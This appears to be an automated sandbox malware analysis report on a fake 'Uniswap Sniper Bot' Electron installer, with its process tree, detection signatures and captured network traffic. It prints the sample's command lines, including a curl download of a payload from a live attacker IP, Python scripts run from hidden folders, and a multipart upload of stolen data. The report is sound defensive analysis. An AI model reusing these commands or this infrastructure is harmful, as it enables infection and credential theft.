Edit tour

Windows Analysis Report
Uniswap Sniper Bot With GUI.exe

Overview

General Information

Sample name:	Uniswap Sniper Bot With GUI.exe
Analysis ID:	1574361
MD5:	efbc268a345e5a3089ca0640353b98cc
SHA1:	1d7709aee3b9dcd1f58794abccc8b83d6f0a1cfd
SHA256:	d61fd1a98ec6f6bbb56baaf9e9d64a455f9fea9f4e3ca3a7b5ce3d49cc7ac392
Tags:	exeuser-smica83
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Installs a global keyboard hook

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Drops PE files

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Enables security privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Uniswap Sniper Bot With GUI.exe (PID: 6536 cmdline: "C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe" MD5: EFBC268A345E5A3089CA0640353B98CC)

cmd.exe (PID: 5788 cmdline: "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv | "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1520 cmdline: tasklist /FI "USERNAME eq user" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv MD5: 0A4448B31CE7F83CB7691A2657F330F1)

find.exe (PID: 6696 cmdline: "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe" MD5: 15B158BC998EEF74CFDD27C44978AEA0)

uniswap-sniper-bot-with-gui.exe (PID: 6660 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" MD5: 7EA968EDE8860D4069D51F9EDEEFB64C)

cmd.exe (PID: 2148 cmdline: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5880 cmdline: curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown" MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

uniswap-sniper-bot-with-gui.exe (PID: 6308 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1684 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 7EA968EDE8860D4069D51F9EDEEFB64C)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

uniswap-sniper-bot-with-gui.exe (PID: 6508 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --mojo-platform-channel-handle=2056 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 7EA968EDE8860D4069D51F9EDEEFB64C)

uniswap-sniper-bot-with-gui.exe (PID: 6148 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --app-path="C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar" --no-sandbox --no-zygote --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --launch-time-ticks=6544672486 --mojo-platform-channel-handle=2288 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1 MD5: 7EA968EDE8860D4069D51F9EDEEFB64C)

cmd.exe (PID: 7668 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tar.exe (PID: 7712 cmdline: tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user MD5: 3596DC15B6F6CBBB6EC8B143CBD57F24)

uniswap-sniper-bot-with-gui.exe (PID: 7920 cmdline: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2236 --field-trial-handle=1904,i,5920993396095536571,17546293119650740774,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 7EA968EDE8860D4069D51F9EDEEFB64C)

cmd.exe (PID: 8112 cmdline: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\.pyp\python.exe" "C:\Users\user/.sysinfo"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 8152 cmdline: "C:\Users\user\.pyp\python.exe" "C:\Users\user/.sysinfo" MD5: C793995B4BE06C17BF4AAE2E1302196B)

cmd.exe (PID: 8184 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

python.exe (PID: 5380 cmdline: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/pay MD5: C793995B4BE06C17BF4AAE2E1302196B)

conhost.exe (PID: 5700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 616 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

python.exe (PID: 4280 cmdline: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow MD5: C793995B4BE06C17BF4AAE2E1302196B)

conhost.exe (PID: 2668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6820 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 4304 cmdline: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath " MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 4336 cmdline: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/mlip MD5: C793995B4BE06C17BF4AAE2E1302196B)

conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 1788 cmdline: C:\Users\user\.pyp\python.exe -m pip install wxPython MD5: C793995B4BE06C17BF4AAE2E1302196B)

cmd.exe (PID: 1220 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow, ParentImage: C:\Users\user\.pyp\python.exe, ParentProcessId: 4280, ParentProcessName: python.exe, ProcessCommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", ProcessId: 4304, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow, ParentImage: C:\Users\user\.pyp\python.exe, ParentProcessId: 4280, ParentProcessName: python.exe, ProcessCommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", ProcessId: 4304, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow, ParentImage: C:\Users\user\.pyp\python.exe, ParentProcessId: 4280, ParentProcessName: python.exe, ProcessCommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", ProcessId: 4304, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"", CommandLine: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" , ParentImage: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe, ParentProcessId: 6660, ParentProcessName: uniswap-sniper-bot-with-gui.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"", ProcessId: 2148, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\.pyp\python.exe C:\Users\user\.n2/bow, ParentImage: C:\Users\user\.pyp\python.exe, ParentProcessId: 4280, ParentProcessName: python.exe, ProcessCommandLine: powershell -Command " $url = \"https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe\" $filePath = \"C:\Users\user\AppData\Local\Temp\tmpn1hib8nx.exe\" Invoke-WebRequest -Uri $url -OutFile $filePath ", ProcessId: 4304, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Uniswap Sniper Bot With GUI.exe

ReversingLabs: Detection: 13%

Source: Uniswap Sniper Bot With GUI.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\deed1b2d-6a1c-5708-934a-7202254448da

Jump to behavior

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\LICENSE.electron.txt			Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\LICENSE.electron.txt			Jump to behavior

Source: unknown

HTTPS traffic detected: 151.101.0.223:443 -> 192.168.2.5:50002 version: TLS 1.2

Source: Uniswap Sniper Bot With GUI.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: ffmpeg.dll.pdb source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2356191177.0000000004F2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D3DCompiler_47.pdb source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2354669303.0000000004F2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vulkan-1.dll.pdb source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349304685.0000000005C20000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2345744716.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2345521387.0000000004C20000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D3DCompiler_47.pdbGCTL source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2354669303.0000000004F2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: electron.exe.pdb source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2350544276.0000000006FB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: libGLESv2.dll.pdb source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2289742502.0000000006120000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vk_swiftshader.dll.pdb source: Uniswap Sniper Bot With GUI.exe, 00000000.00000003.2349304685.0000000005F98000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File opened: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File opened: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File opened: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\locales	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File opened: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File opened: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File opened: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked	Jump to behavior

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1224
Source: unknown	Network traffic detected: HTTP traffic on port 1224 -> 50001

Source: global traffic

TCP traffic: 192.168.2.5:49764 -> 185.153.182.241:1224

Source: global traffic	HTTP traffic detected: POST /uploads HTTP/1.1host: 185.153.182.241:1224content-type: multipart/form-data; boundary=--------------------------346360769594120085037004content-length: 643045Connection: closeData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 34 36 33 36 30 37 36 39 35 39 34 31 32 30 30 38 35 30 33 37 30 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 79 70 65 22 0d 0a 0d 0a 37 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 34 36 33 36 30 37 36 39 35 39 34 31 32 30 30 38 35 30 33 37 30 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 69 64 22 0d 0a 0d 0a 37 30 31 5f 39 36 35 35 34 33 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 34 36 33 36 30 37 36 39 35 39 34 31 32 30 30 38 35 30 33 37 30 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 74 73 22 0d 0a 0d 0a 31 37 33 34 30 37 38 39 38 33 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 34 36 33 36 30 37 36 39 35 39 34 31 32 30 30 38 35 30 33 37 30 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 75 6c 74 69 5f 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 30 5f 6c 73 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a Data Ascii: ----------------------------346360769594120085037004Content-Disposition: form-data; name="type"7----------------------------346360769594120085037004Content-Disposition: form-data; name="hid"701_965543----------------------------346360769594120085037004Content-Disposition: form-data; name="uts"1734078983----------------------------346360769594120085037004Content-Disposition: form-data; name="multi_file"; filename="0_lst"Content-Type: application/octet-stream
Source: global traffic	HTTP traffic detected: GET /client/7/701 HTTP/1.1host: 185.153.182.241:1224Connection: close

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /ajax/libs/materialize/1.0.0/css/materialize.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: " Not A;Brand";v="99", "Chromium";v="102"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) uniswap-sniper-bot-with-gui/1.0.0 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-GB
Source: global traffic	HTTP traffic detected: GET /ftp/python/3.11.0/python-3.11.0-amd64.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.python.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241
Source: unknown	TCP traffic detected without corresponding DNS query: 185.153.182.241

Source: global traffic

